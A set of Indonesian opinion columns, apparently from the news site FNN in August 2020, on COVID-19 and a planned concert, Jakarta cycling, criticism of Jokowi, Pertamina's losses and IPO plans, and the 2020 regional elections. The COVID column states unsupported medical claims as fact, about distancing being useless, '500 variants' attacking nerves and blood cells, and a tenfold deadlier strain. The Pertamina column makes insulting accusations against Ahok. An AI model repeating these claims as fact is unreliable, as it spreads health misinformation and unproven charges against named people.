banyak, terutama dirindukan oleh rakyat jelata. Penulis adalah Analis Sosial Politik UNJ & Direktur Eksekutif Center for Social Political Economic and Law Studies (CESPELS)

Tingkat Kematian Tertinggi, Masih Tetap “Ngotot” Mau Konser?

by Mochamad Toha Surabaya FNN - Minggu (30/08). Penambahan kasus harian pada Kamis (27/8/2020) tercatat sebanyak 2.719 kasus. Angka ini memecahkan rekor penambahan kasus harian terbanyak sampai saat ini. Secara total, jumlah pasien positif Covid-19 kini bertambah menjadi 162.884 kasus. Meskipun demikian, pasien yang berhasil sembuh terus meningkat. Pada Kamis (27/8/2020) bertambah 3.166 pasien. Maka, total pasien sembuh telah mencapai 118.575 pasien. Pasien yang meninggal dunia bertambah 120 orang, sehingga secara total 7.064 orang pasien telah meninggal dunia akibat terjangkit Covid-19 di Indonesia. Dari sebanyak 1.233.486 spesimen yang diperiksa, tercatat 1.070.602 kasus negatif Corona. Sementara itu, data pada Kamis (27/8/2020) untuk jumlah Suspek sebanyak 76.201 kasus. Rekor tertinggi penambahan kasus covid-19 harian: 1) 27 Agustus 2020 = +2.719; 2) 9 Juli 2020 = +2.657; 3) 7 Agustus 2020 = +2.473; 4) 25 Agustus 2020 = +2.447; 5) 29 Juli 2020 = +2.381. Sebelumnya, Reuters menulis. Indonesia dinilai gagal mengontrol wabah Covid-19. Secara resmi Indonesia melaporkan 6.594 kematian akibat Covid-19, ini yang tertinggi di seluruh negara Asia Tenggara. Jika dihitung juga mereka yang meninggal karena gejala Covid-19 akut namun belum diuji, Reuters menduga angka kematian menjadi 3 kali lipat dari itu. Reuters menilai Indonesia tidak nampak adanya kemampuan untuk menahan laju penyebaran virus, bahkan kini penyebaran virus di Indonesia sudah menjadi yang tercepat di Asia Timur. Dari mereka yang menjalani tes dalam sepekan terakhir: Secara nasional 16,1% terbukti positif. Di Jakarta: 9,1%. Di luar Jakarta: angka tersebut bahkan mencapai 25%. Menurut WHO angka positif lebih dari 5 % berarti wabah Tidak Terkontrol. Tercatat kasus positif sebanyak 151.498. Angka ini memang jauh di bawah angka jutaan seperti yang dilaporkan AS, Brazil, dan India, dan masih lebih rendah dari Filipina, yang populasinya kurang dari setengah populasi Indonesia. Tapi angka sebenarnya dari kasus yang terinfeksi masih tanda tanya, karena jumlah penduduk yang dites per kapita di Filipina 4 kali lebih banyak, dan AS bahkan 30 kali lebih banyak dari Indonesia. Makin banyak yang dites berarti makin besar kemungkinan memperoleh angka yang positif. Seorang epidemiolog dari UI mengatakan bahwa puncak wabah mungkin akan datang pada bulan Oktober, dan wabah belum akan berlalu sampai akhir tahun. Meskipun Indonesia memiliki 269 lab dengan mesin PCR, namun lab semakin tidak mampu memenuhi permintaan tes karena infeksi terus meningkat. Juga karena kurangnya staf dan reagen untuk pengujian. Menurut salah seorang pejabat jumlah kasus suspect, memiliki gejala Covid-19 namun belum dites, mencapai angka 79.000 bulan lalu. Problem lain adalah sulitnya contact tracing, terutama di daerah atau luar Jawa. Mereka yang hendak dilacak karena melakukan kontak dengan orang yang positif seringkali namanya tidak lengkap, nomer hp tidak aktif, atau alamatnya sudah ganti. Dengan bantuan kepala desa pun sebagian kontak tersebut tidak berhasil ditemukan. Jika pun ketemu sebagian dari mereka menolak dites, karena takut akan kehilangan pekerjaan atau dikucilkan di lingkungannya. Data dari pemerintah yang diperoleh Reuters menunjukkan, hanya 53,7% dari mereka yang terkonfirmasi atau suspect yang dilakukan contact tracing. Pemerintah berusaha melacak 30 orang untuk setiap kasus positif. Angka ini masih jauh lebih rendah dibandingkan negara Asia lainnya. Korsel misalnya, pada Mei 2020 lalu mereka melacak dan mengetes hampir 8.000 orang setelah seorang pria yang terbukti positif mengunjungi sebuah night club. Pejabat WHO mengatakan, Indonesia semestinya melakukan contact tracing setidaknya 20 orang per kasus terkonfirmasi atau suspect. Tapi, kata Arie Karimah Muhammad, nyatanya Indonesia hanya melakukan rata-rata 2 orang per kasus. “Di Jakarta angkanya malah kurang dari 2 sedangkan di Jatim 2,8 kontak. Ini pun baru mulai dilakukan pertengahan Juli,” lanjut Pharma-Excellent alumni ITB itu. Seorang dokter di RSUD Soetomo mengatakan, angka mortalitas di sana antara 50-80%, dan tempat tidur yang tersedia tak mencukupi. Indonesia hanya memiliki 2,5 tempat tidur di ICU untuk setiap 100.000 orang. Sebagai perbandingan: di India angkanya mencapai 6,9. Konser Jatim Arie Karimah menyoroti rencana Konser Ari Lasso yang digelar di kawasan “Wisata Ngopi Bareng Pintu Langit”, Kecamatan Prigen, Kabupaten Pasuruan, pada 12 September 2020. Ini juga dalam rangka New Normal. Saifullah Yusuf alias Gus Ipul yang juga pemilik sekaligus penggagas kawasan wisata halal Ngopi Bareng Pintu Langit ini mengatakan, semuanya sudah siap. Ia mengaku juga sudah bertemu dengan Gubernur Jawa Timur Khofifah Indar Parawansa. Gus Ipul menjelaskan, ini adalah konser pertama yang digelar di Jatim, bahkan Indonesia di era new normal ini. Menurutnya, konser ini menjadi pilot project untuk menggelar konser-konser berikutnya. “Makanya dicoba konser Ari Lasso di era new normal ini. Tentunya, dengan penerapan protokol kesehatan yang sangat ketat. Ini sedang dipersiapkan semuanya,” tambah Gus Ipul, seperti dilansir Surya.co.id, Selasa (25 Agustus 2020 23:46). Gus Ipul menjelaskan, ini adalah konser uji coba yang langsung mendapatkan dukungan dari Presiden Joko Widodo, dan kebetulan Jatim ditunjuk sebagai tempat penyelenggara, yakni di Wisata Ngopi Bareng Pintu Langit. “Kami akan betul-betul tetap mematuhi protokol kesehatan agar konser ini berjalan lancar, aman dan tidak menimbulkan resiko-resiko yang tidak diinginkan,” sambungnya. “Berdasarkan data pagi ini, nggak pakai tapi dan asumsi. Dengan prestasi seperti ini, apa pantas Jatim mengadakan konser musik, yang akan mengundang kerumunan dan Risiko Penularan Covid, yang mungkin akan tidak sanggup ditangani?” tegas Arie Karimah. Jumlah kasus positif: peringkat Kedua secara nasional setelah Jakarta, yakni 31.329 kasus. Jumlah kematian terbanyak: peringkat Pertama nasional dengan angka 2.252. Persentase kematian terbanyak: peringkat Kedua nasional dengan angka 7,2% setelah Bengkulu. “Cemana Khofifah? Dengan ilmuwan kita bicara data dan statistik,” sindir Arie Karimah. Perlu dicatat, phycical distancing kini nyaris tidak berguna. Sebab, daya jangkau Covid-19 sekarang ini bisa mencapai sekitar 8 meter. Apalagi, mutasi Corona sudah mencapai angka 500 karakter atau varian. Karena gennya bermutasi, mutannya ada yang “bersifat” tidak hanya ke reseptor Angiotensin Converting Enzyme-2 (ACE-2) saja, tapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis. Ada juga yang langsung berikatan atau nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan pada pasien anak-anak di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan seperti yang selama ini beredar! Terutama mampu menyerang saluran pencernaan dan syaraf. Sekarang ini varian baru yang sudah ditemukan di Malaysia, Thailand, dan Philipina, punya kemampuan 10 kali lebih mematikan dibanding Covid-19? Apakah Gubernur Khofifah dan Gus Ipul sudah tahu soal itu semua? Sebaiknya rencana itu Konser Ari Lasso itu ditunda, bila perlu dibatalkan! *** Penulis wartawan senior fnn.co.id

Sensasi Bersepeda di Tol Layang Bersama Anies Baswedan

by Tony Rosyid Jakarta FNN – Sabtu (29/08). Bank BTN pernah melakukan survei usia pegawai di tiga wilayah, yaitu Jakarta, Bandung dan Jogja. Hasilnya, pegawai di Jakarta usia rata-ratanya lebih pendek dari pegawai di Bandung. Pegawai di Bandung usia rata-ratanya lebih pendek dari pegawai di Jogja. Apa penyebab utamanya? Polusi dan stres. Jakarta padat kendaraan. Itu sudah dari jaman dulu. Namanya juga kota metropolitan. Polusi, itu juga pasti. Macet, nggak dapat dihindari. Inilah yang membuat penduduk Jakarta stres. Ditambah pandemi dan sulitnya ekonomi. Nggak perlu dicari siapa yang salah. Yang diperlukan adalah solusi. Polusi dan macet di Jakarta hanya bisa diminimalisir dengan mengurangi jumlah kendaraan. Caranya? Batasi penjualan kendaraan, nggak mungkin. Naikin pajak progresif, gagal. Terus? Setidaknya tiga hal yang dilakukan Pemprov DKI. Pertama, beralih ke transportasi umum. Ada LRT/ MRT dan bus way. Fasilitasnya makin baik dan kapasitas makin memadai. Kedua, memberlakukan ganjil genap. Wacananya akan diberlakukan 24 jam. Sedang dalam penelitian. Ketiga, ganti kendaraan bermotor dengan sepeda. Poin ketiga ini jadi terobosan baru gubernur DKI. Butuh waktu dan strategi jitu untuk mengajak masyarakat Jakarta bersepeda. Sebab, tak mudah merubah maindset dan perilaku masyarakat yang selama ini sangat bergantung pada kendaraan bermotor. Masyarakat Jakarta khususnya, dan masyarakat perkotaan pada umumnya, terbiasa punya pola hidup berkendara. Jarak 50 meter saja pakai motor. Ogah jalan kaki, apalagi naik sepeda. Nah, program bersepeda dihadapkan pada masyarakat yang maniak berkendara motor seperti itu. Perlu terus melakukan penyadaran akan pentingnya mengurangi ketergantungan terhadap kendaraan bermotor. Beralih ke kendaraan umum, sepeda atau jalan kaki. Untuk itu, Pemprov DKI telah memperlebar trotoar untuk kenyamanan pejalan kaki. Juga jalur sepeda agar masyarakat beralih menggunakan sepeda. Sepeda dalam konteks ini sebagai alat transportasi. Bukan sebagai life style. Jadi, nggak perlu sepeda balap atau sepeda yang mahal. Semua sepeda bisa jadi alat transportasi. Yang penting bisa jalan normal dan dilengkapi tempat untuk menaruh keperluan kerja, semacam tas atau sejenisnya. Termasuk jas hujan. Bersepeda bukan saja kepentingan personal, tetapi juga kebutuhan sosial. Secara personal, bersepeda itu sehat dan ekonomis. Secara sosial, semakin banyak orang bersepeda maka Jakarta akan berkurang polusi dan tingkat kemacetannya. Tidakkah kakek kita zaman dulu dan orang tua kita di kampung masih mengandalkan sepeda sebagai alat transportasinya. Mereka nggak perlu stres karena terjebak macet atau kena polusi. Rata-rata usia mereka lebih panjang dari kita yang hidup di perkotaan. Ini adalah warisan nenek moyang dan kearifan nasional. Kenapa tidak kita jaga? Bukan berarti gak boleh berkendara motor. Jangan berpikir naif dan pura-pura begolah. Nggak baik untuk kesehatan otak anda. Di tengah masyarakat yang sudah sangat tergantung pada kendaraan pribadi, terutama motor, maka kampanye bersepeda perlu lebih dimasifkan. Gagasan Anies Baswedan, Gubernur DKI untuk membuat event bersepeda di jalan tol layang Kebun Nanas (Cawang)-Tanjung Priok layak diapresiasi sebagai upaya sosialisasi bersepeda. Secara tidak langsung, ini pesan, ajakan dan iklan bersepeda. Pada Minggu pagi jam 06.00-09.00 tidak pernah ada kemacaten di jalur bawah tol Cawang-Tanjung Priok. Mobil bisa lewat bawah tol. Biarkan ribuan, bahkan puluhan hingga ratusan ribu anak Jakarta bersepeda di atas tol, sambil manyaksikan kotanya dari ketinggian dengan sinar matahari terang yang baru terbit dari arah timur. Apakah aman? Sepeda tidak bercampur dengan mobil. Tol pada jam dan hari itu hanya untuk sepeda. Tidak ada mobil di jalur tol tersebut. Mobil lewat jalur bawah tanpa risiko kemacetan Itu cari sensasi! Pasti. Bersepeda di jalan layang tol dengan view dan panorama kota Jakarta, ini sensasional. Bagi pribadi yang tidak punya mobil, menyaksikan kota Jakarta dari atas jalan layang sepanjang tol adalah kemustahilan. Kita sering tak sadar bahwa ada banyak warga yang tak pernah mampu berada di atas jalan layang tol. Sesekali mereka diberi kesempatan, apa salahnya? Anda perlu paham, bahwa iklan itu memang perlu sensasi. Kalau nggak sensasional, cenderung nggak dapat perhatian masyarakat. Ini penting untuk menyentuh alam sadar masyarakat betapa beralih transportasi ke sepeda di Jakarta sudah sangat dibutuhkan. Ini bukan hanya kepentingan personal, tapi sudah menjadi kebutuhan sosial. Makin banyak yang beralih transportasi ke sepeda, ini akan mengurangi polusi dan macet, yang secara otomatis akan mengurangi stres masyarakat Jakarta. Masyarakat yang stres usia rata-ratanya lebih pendek. Mau usia panjang? Mulailah memikirkan untuk beralih transportasi ke sepeda. Inilah pesan yang perlu anda tangkap dari setiap event bersepeda. Termasuk bersepeda di jalan tol layang Cawang-Tanjung Priok. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Catatan Buat Pak Jokowi, "Bangsa Indonesia Dibelah"

by Prof. Dr. M. Amien Rais Jakarta FNN – Sabtu (29/08). Sudah seharusnya kita bangsa Indonesia melakukan kritik dan koreksi atas perjalanan bangsa yang telah kita lewati. Koreksi yang jujur, berani dan seobjektif mungkin. Agar kita mampu melihat apa saja masalah-masalah nasional yang perlu kita angkat ke permukaan, secara apa adanya. Namun segera harus kita catat, bahwa tulisan singkat ini hanyalah mengemukakan puncak- puncak masalah. Tentu diperlukan sebuah tulisan tebal bila kita ingin menyajikan telaah yang relatif lengkap tentang kondisi bangsa Indonesia dewasa InI. Saya sadar, tidak ada satu analisis atau gagasan mengenai apa saja, yang tidak menimbulkan sikap pro dan kontra. Saya tentu siap menerima kritik, koreksi dan bantahan serta masukan lain.Bahkan dengan senang hati saya ingin melakukan di­skusi terbuka dengan siapa pun tentang apa yang saya kemukakan secara terbuka ini. Demokrasi sejati selalu membuka lebar kran pertukaran gagasan supaya muncul pilihan-pilihan alternatif bagi seluruh anak bangsa. Pilihan yang bersifat pro bono pub/ico. Pilihan yang menguntungkan kepentingan orang banyak, sepantasnya menjadi pilihan kita.Sedangkan pilihan yang bersifat eksklusif untuk sekelompok kecilyang cenderung memangsa (predatorik) kepentingan bangsa atau kepentingan nasional, biarlah terlempar ke sampah sejarah. Saya lihat dan cermati bahwa dalam pergaulan antar bangsa, dewasa ini Indonesia yang kita cintai bersama semakin tidak bersinar. Malahan semakin meredup. Kekuatan-kekuatan anti ke-Tuhanan nampak semakin beringas dan berani. Kemanusiaan kita bisa dikatakan cenderung menjadi kemanusiaan agak zalim dan tidak lagi beradab. Persatuan Indonesia semakin goyah. Ini karena politik rezim tidak memiliki kesadaran bahwa politik adu domba atar kekuatan sosial-politik dengan harapan rezim penguasa semakin kuat dan stabil, justru dapat menghancurkan bangsa seluruhnya. Kerakyatan kita kini cenderung membuang hikmah serta keunggulan prinsip permufakatan, permusyawaratan dan perwakilan. Mayoritas rakyat kecil kita belum merasakan keadilan sosial bagi seluruh bangsa. Tetapi lebih sering menderita dan menikmati kezaliman sosial dari mereka yang berkuasa dan berharta. Saya membaca perkembangan kehidupan politik, sosial, ekonomi, penegakan hukum serta kehidupan moral bangsa terus mengalami kemerosotan. Kehidupan yang tidak memiliki pijakan yang kokoh diatas akhlaq, moralitas atau etika dapat dipastikan akan meluncur ke bawah.Tidak mustahil pula proses kemerosotan multidimensional itu membuat semakin redup kehidupan bangsa kita. Menjadikan bangsa Indonesia seolah tanpa masa depan. Sejak Jokowi menjadi presiden pada periode pertama ( 2014-2019), dan diteruskan pada periode kedua sampai sekarang, perkembangan politik nasional bukan semakin demokratis. Malahan kian jauh dari spirit demokrasi. Tidak berlebihan bila dikatakan hasil pembangunan politik dimasa Jokowi telah memecah belah persatuan dan kesatuan bangsa Indonesia. Kecurigaan dan ketakutan Jokowi terhadap umat Islam yang bersikap kritis dan korektif terhadap rezim begitu jelas kita rasakan. Kriminalisasi, demonisasi, dan persekusiterhadap para ulama yang beramar ma'ruf dan bernahi-munkar telah menjadi rahasia umum. Sebagai Presiden, seharusnya Jokowi berpikir, bekerja dan terus berusaha supaya tidak jadi pemimpin partisan. Membela sekitar separuh anak bangsa. Menjauhi, bahkan kelihatan memusuhi sekitar separuh anak bangsa lainnya. Politik partisan semacam ini tidak bisa tidak, cepat atau lambat membelah bangsa Indonesia. Tidak boleh seorang Presiden terjebak pada mentalitas "koncoisme”. Sekeping contoh bisa dikemukakan. Tatkala jutaan umat Islam berunjuk rasa secara damai, tertib, bersih dan bertanggung-jawab pada tanggal 4 November 2016, tiga orang utusan mereka ingin bertemu dengan Jokowi.Tetapi ditunggu dari pagi sampai larut senja, Jokowi pada hari itu seharian meninggalkan istana.Alasannya, ada satu urusan teknis harus diselesaikan di bandara Sukarno-Hatta. Sampai sekarang penyakit politik bernama partisanship itu tetap menjadi pegangan rezim Jokowi dalam menghadapi umat Islam yang kritis terhadap kekuasaannya. Para buzzers bayaran dan juga para jubir istana di berbagai diskusi atau acara di banyak stasiun televisi, semakin menambah kecurigaan banyak kalangan terhadap politik Jokowi yang beresensi politik belah bambu. Menginjak sebagian dan mengangkat sebagian yang lain. Penulis adalah Ketua MPR Periode 1999-2004.

Pertamina Peras Rakyat Rp. 60 Triliun, Bisa Rugi 11 Triliun?

by M. Rizal Fadillah Bandang FNN – Sabtu (29/08). Sejak awal pengangkatan Basuki Tjahaya Purnama alias Ahok sebagai Komisaris Utama PT Pertamina telah menimbulkan pro dan kontra di masyarakat. Suara sumbang mengaitkan Menteri BUMN Erick Tohir Menteri yang mengangkatnya dan Presiden Jokowi sebagai penanggungjawab tertinggi tata kelola penyelenggara negara. Masyarakat sudah mengingatkan bahwa menunjuk Ahok, yang mantan narapidana dan mantan pejabat yang "emosional" dan "mulut ngebacot seenaknya, karena kurang dicuci" sebagai penentu kebijakan di Pertamina adalah menyakiti rakyat dan tak sangat pantas. Kasus penistaan agama yang membawanya ke penjara bukan masalah kecil. Tetapi masalah serius untuk umat Islam. Ahok bukan seorang ahli di bidang perminyakan dan gas alam (migas). Sekaligus juga pemimpin yang buruk. Bukan pula orang yang mampu untuk melakukan "bersih bersih". Kebersihan dirinya selama ini diragukan. Banyak kasus yang disorot seperti suap reklamasi, kosupsi Rumah Sakit Sumber Waras, lahan Cengkareng, serta kasus-kasus di Bangka Belitung. Kini di bawah Komisaris Utama teman dekat Jokowi tersebut, Pertamina merugi Rp. 11 trilyun. Fakta dan kenyataan ini menjadi sesuatu hal yang aneh. Di tengah harga minyak dunia yang turun, Pertamina tidak menurunkan harga penjualan dalam negeri. “Keuntungan yang didapat Pertamina dari hasil pemerasan terhadap rakyat selama pandemi corona Rp. 7,5 triliun setiap bulan”, kata Direktur Eksekutif Indonesian Resouces Studies (IRESS) Marwan Batubara. Semua negara di dunia telah menurunkan penjulan konsumsi minyak di dalam negerinya. Hanya Pertamina, perusahaan penjualann minyak di dunia ini yang tidak menurunkan penjualan Bahan Bakar Minya (BBM)di dalam negari. Untuk periode Januari sampai- dengan Agutuss 2020, Partamina diperkirakan telah meraup keuntungan Rp. 60 triliun, hasil dari memeras rakyat melalui penjualan di BBM di dalam negeri. Pertanyaannya, ko Pertamina bisa rugi sampai Rp. 11 triliun? Lalu, kemana dana dan kuntungan dari hasil memeras rakyat melalui penjualana BBM di dalam negeri selama pandemi corona ini mengalir? Inilah yang menjadi tandatanya besar di masyarakat. Badan Pemeriksa Keuangan (BPK) seharusnya sudah mulai melakukan audit terhahadap kerugian yang tidak masuk akal ini. Erick Thohir sudah didesak untuk mencopot Ahok dan Direksi Pertamina, akan tetapi keberaniannya diragukan. Alih-alih bisa mencopot, jangan-janagan Erick yang dicopot oleh "big boss". Karenanya, kasus orang yang sesumbar bahwa “bubar saja Pertamina jika tidak untung “ ini, sebaiknya dibawa ke ranah hukum. Adili segera Ahok dan Direksi Pertamina. Sudah meras rakyat Rp. 60 triliun dalam delapan bulan, ko masih rugi jaga? Ada tiga alasan utama Ahok dan Direksi Pertamina diadili. Pertama, Ahok tidak kapok kapok. Kedua, menjadikan Pertamina menjadi sapi perahan. Ketiga, bebal karena tidak merasa bersalah. Komisi Pemberantasan Korupsi (KPK) atau Jaksa Agung Muda Tindak Pidana Khusus (Jampidusus) Kejaksaan Agung harus mulai mengusut skandal kerugian Pertamina ini. Bersimultan dengan pemeriksaan atau audit yang dilakukan oleh BPK. Kasus Pertamina menjadi kasus berat dari tumpukan kasus Ahok yang ada selama ini. Ahok tidak boleh diberi nafas bergerak bebas untuk "petantang petenteng". Merasa sukses dengan dipidana salam dua tahun, dengan fasilitasi "menginap" di Rutan Mako Brimob. Tidak ada sejarah seorangpun seperti Ahok ini. Ahok telah menjadi pejabat yang istimewa untuk Presiden Jokowi. Dunia melihat betapa lucu dan amburadul keadaan hukum di Indonesia. Ahok adalah wajah Jokowi di arena kehidupan politik. Tak mungkin menjadi Komisaris Utama Pertamina tanpa "kebaikan" sang Presiden. Sulit difahami lolosnya Ahok berkali-kali dari banyak kasus yang membelitnya. Kekuasaan negeri ini masih menjadi panglima untuk menyelematkan Ahok. Saatnya untuk merubah dan "bersih bersih" dengan membuktikan adanya itikad baik untuk membenahi negara dengan serius. Pertamina bukan perusahaan ecek ecek. Kini diterpa masalah yang tak bisa dilepaskan dari peran Komisaris Utama. Karenanya rakyat dan bangsa Indonesia kini ingin melihat Ahok dan Direksi Pertamina bertanggungjawab. Adili segera Ahok dan Direksi Pertamina. Penulis adalah Pemerhati Politik dan Kebangsaan.

Rencana IPO Anak Usaha Pertamina “Inkonstitusional”

by Dr. Marwan Batubara Jakarta FNN – Jum’at (28/08). Pemerintah segera menjual saham. Biasa dikenal dengan Initial Public Offering (IPO) anak-anak usaha (sub-holding) Pertamina di Bursa Efek Indonesia (BEI). Pengkondisian dan kajian pelaksanaan IPO sedang disusun. Menurut Menteri BUMN Erick Thohir, IPO antara lain bertujuan untuk mencari dana murah dan memperbaiki Good Corporate Governance (GCG), transparansi dan akuntabilitas. IPO atau privatisasi perusahaan di BEI guna memperoleh dana dan meningkatkan GCG merupakan hal lumrah. Masalahnya, karena perusahaan yang akan di-IPO anak usaha BUMN, maka persoalan menjadi lain. Apa pun alasannya, IRESS menilai rencana tersebut harus dibatalkan. Karena berlawanan dengan konstitusi. Apalagi, ternyata dana yang murah dan peningkatan GCG justru dapat diraih tanpa harus IPO. Pertamina telah memperoleh kredit dengan tingkat bunga rendah tanpa IPO. Sejak 2011 hingga awal 2020 total obligasi Pertamina mencapai US$ 12,5 miliar dengan tingkat bunga (kupon), tergantung tenor dan kondisi pasar, antara 3,1% hingga 6,5% (weighted average kupon sekitar 4,3%). Nilai kupon itu ternyata lebih rendah dibanding kupon PGN yang telah IPO, yakni 5,125% (US$ 1,35 miliar, 5/2014). Kupon rata-rata obligasi Pertamina (4,30%) yang tidak go public, tidak lebih tinggi (atau hampir sama) dengan kupon obligasi sejumlah BUMN go public. Kupon obligasi Bank Mandiri 4,7% (US$ 2,4 miliar, 4/2020), BTN 4,25% (US$ 300 juta, 1/2020), BNI 8% (Rp 3 triliun, 11/2017), dan Jasa Marga 8% (US$ 300 juta, 12/2017). Ini menujukkan meski tidak go public/IPO, Pertamina mampu memperoleh “dana murah” dengan tingkat kupon lebih rendah atau setara dengan kupon BUMN yang sudah IPO. Peringkat utang Pertamina malah bisa lebih baik (kupon lebih rendah) jika obligasi yang diterbitkan mendapat jaminan pemerintah. Karena saham negara di Pertamina masih 100%. Jaminan pemerintah terhadap Pertamina otomatis juga melekat. Dengan jaminan pemerintah, tanpa IPO Pertamina justru dapat mengkases dana lebih murah dibanding BUMN yang sudah IPO. Terkait GCG, masalah justru timbul dari para pejabat pemerintah, hingga level Presiden. Intervensi pemerintah telah merusak kinerja BUMN, sehingga peringkat utang bisa turun. GCG Pertamina akan otomatis meningkat, jika pejabat pemerintah mampu menahan dan tidak menjadikan BUMN sebagai sapi perah. Selain itu, Pertamina pun harus dijadikan sebagai non-listed public company (NLPC), terdaftar di BEI tanpa harus menjual saham meski hanya 1% pun. Dengan begitu, GCG-nya menigkat lebih baik. Jelas terlihat tanpa IPO, target dana murah dan perbaikan GCG dapat tercapai. Kuncinya ada pada pemerintah yang sering melanggar GCG. Kebijakan pencitraan Pilpres 2019 membuat Pertamina menanggung beban subsidi 2017-2019 sekitar Rp 96,5 triliun. Jika tidak segera dilunasi, Pertamina berpotensi gagal bayar. Karena itu, kita ingatkan agar pemerintah dan manajemen Pertamina, untuk berhenti memanipulasi informasi dengan mengatakan, “IPO anak usaha Pertamina diperlukan agar dapat mengakses dana murah dan meningkatkan GCG”. Menurut Pasal 33 UUD 1945, Pertamina adalah BUMN yang mendapat mandat negara memenuhi hajat hidup orang banyak dan mengelola sumber daya alam (SDA) migas, guna bermanfaat bagi sebesar-besar kemakmuran rakyat. Ada tiga aspek penting Ayat 2 dan Ayat 3 Pasal 33 UUD 1945 yaitu, 1) pemenuhan hajat hidup publik, 2) pengelolaan SDA, dan 3) pencapaian target sebesar-besar kemakmuran rakyat. Dominasi BUMN mengelola SDA ini telah diperkuat Mahkamah Konstitusi (MK) melalui Putusan No.36/2012 dan No.85/2013. Pada prinsipnya MK menyatakan penguasaan negara terhadap SDA dijalankan dalam bentuk pembuatan kebijakan, pengurusan, pengaturan, pengelolaan dan pengawasan. Kekuasaan negara dalam pembuatan kebijakan, pengurusan, pengaturan dan pengawasan ada di tangan Pemerintah dan DPR. Sedangkan penguasaan negara dalam pengelolaan SDA berada di tangan BUMN. Amanat Pasal 33 UUD 1945 itu diimplementasikan dalam peraturan operasional, yang termuat dalam UU BUMN Nomor 19/2003 dan Peraturan Pemerintah (PP) No.35/2004. Pasal 77 huruf (c) dan (d) UU BUMN No.19/2003 menyatakan, “Persero tidak dapat diprivatisasi karena: (c), oleh pemerintah ditugasi melaksanakan kegiatan berkaitan dengan kepentingan masyarakat, dan (d), bergerak di bidang SDA yang diatur UU tidak boleh diprivatisasi. Sedangkan Pasal 28 ayat (9) dan (10) PP Hulu Migas No.35/2004 berbunyi sbb: (9) Pertamina dapat mengajukan permohonan kepada Menteri mengelola Wilayah Kerja habis Kontrak; dan (10) Menteri dapat menyetujui permohonan dimaksud, dengan menilai kemampuan teknis dan keuangan, sepanjang saham Pertamina 100% dimiliki Negara. Gabungan Pasal 77 UU BUMN No.19/2003 dan Pasal 28 ayat 9 & 10 PP No.35/2004 menyatakan, sepanjang menyangkut hajat hidup orang banyak dan pengelolaan SDA, maka pelaksananya hanyalah BUMN/Pertamina. Hak istimewa pengelolaan SDA hanya diberikan negara kepada Pertamina jika saham pemerintah di Pertamina masih utuh 100%. Jika saham pemerintah kurang dari 100%, maka privilege akan hilang. Artinya, anak usaha yang sudah IPO tidak berhak mendapat privilege mengelola SDA. Sebagai contoh, karena 100% sahamnya milik negara, Pertamina berhak mengelola Blok Rokan. Jika anak usaha Pertamina yang berfungsi mengelola Blok Rokan kelak di-IPO, maka terjadilah privatisasi. Hal ini bertentangan dengan ketentuan Pasal 77 UU BUMN No.19/2003 yang melarang privatisasi BUMN pengelola SDA sesuai konstitusi. Jika anak usaha tersebut tetap di-IPO maka telah terjadi pelanggaran konstitusi dan UU. IPO Tidak Berkeadilan Jika IPO anak usaha Pertamina tetap dijalankan, maka publik pembeli saham anak usaha tersebut otomatis menikmati hak istimewa penguasaan SDA negara. Sedang mayoritas rakyat yang miskin atau tidak punya dana, tidak berkesempatan menikmati hak istimewa tersebut. Apalagi jika pembeli saham adalah warga negara atau negara asing. Kondisi ini tentu tidak adil dan bertentangan dengan sila kelima Pancasila. Selain itu, penguasaan SDA migas oleh BUMN 100% milik negara akan menjamin 100% keuntungan BUMN dinikmati seluruh rakyat melalui mekanisme APBN. Jika sebagian saham BUMN dijual, maka keuntungan BUMN akan terbagi kepada para pemegang saham publik/asing. Kondisi ini juga tentu tidak adil. Artinya terjadi pelanggaran terhadap mekanisme distribusi manfaat SDA yang berkeadilan sesuai amanat Pasal 33 UUD 1945. Sebagai kesimpulan, IPO anak usaha melalui skema unbundling harus segera dihentikan. Karena selain inkonstitusional dan bertentangan dengan aturan berlaku, juga melanggar prinsip persamaan dan keadilan sesama anak bangsa. Sesuai konstitusi, larangan privatisasi sektor SDA berlaku bukan hanya terhadap induk usaha, tetapi juga terhadap anak usaha BUMN. Untuk itu, rekayasa licik pembentukan sub-holding Pertamina untuk tujuan IPO anak usaha, yang lebih ditujukan untuk kepentingan oligarki dan kapitalis liberal, juga harus segera dihentikan. Penulis adalah Direktur Eksekutif Indonesian Resources Studies (IRESS).

Anomali Pilkada 2020 Versus Penanggulangan Corona

by Apriliska Lattu Titahena Ambon FNN – Jum’at (28/08). Kepala Daerah dipilih langsung oleh rakyat melalui Pemilihan Kepala Daerah (Pilkada) Gubernur, Bupati dan Walikota. Ini tertuang dalam UU Nomor 32 Tahun 2004 Tentang Pemerintah Daerah. Pilkada merupakan sarana kedaulatan politik rakyat. Begitulah sebuatan bahasa kerennya untuk pegiat demokrasi. Pilkada pertama kali diselenggarakan pertengahan tahun 2005 lalu. Sehingga pembiacaraan terkait penyelenggaraan hajatan demokrasi yang bernama pilkada ini sudah hangat-hangatnya sejak 15 tahun lalu. Apalagi menjelang hari penetuannya. Para pendukung dan pengamat politik ramai memprediksi kemenangan mereka yang bertarung di Pilkada. Dalam tahun 2020 ini juga akan diselenggarakan pilkada serentak. Sesuai Keputusan Komisi Pemilihan Umum Republik Indonesia (KPU RI) Nomor 258/PL.02-kpt/01/KPU/VI/2020 Tentang Penetapan Pelaksanaan Pemilihan Gubernur dan Wakil Gubernur, Bupati dan Wakil Bupati, dan/atau Walikota dan Wakil Walikota serentak lanjutan tahun 2020. Pelaksanaan Pilkada 2020 didasarkan pada ketentuan Pasal 122A ayat (2) Peraturan Pemerintah Pengganti UU (Perppu) Nomor 2 Tahun 2020 tentang perubahan ketiga UU Nomor 1 Tahun 2015 tentang penetapan peraturan pemerintah pengganti UU Nomor 1 Tahun 2014. Penyelenggaraan Pilkada serentak 2020 diperkirakan menimbulkan berbagai polemik. Apalagi Negara masih diperhadapkan dengan pandemi corona yang cenderung meningkat. Bukankah pelaksanaan pilkada ini untuk menjaga elektabilitas negar? Padahal ancaman pandemi corona masih terus menghantui kehidupan berneraga sampai hari ini. Bayangkan saja, ada 106 juta pemilih di 207 daerah yang akan melakukan pesta demokrasi tersebut. Kemungkinan besar untuk penyebaran virus corona dapat terjadi secara masal. Tentunya peningkatan korban terpapar corona justru semakin tinggi. Sehingga, penanggulangan corona akan semakin sulit dikendalikan. 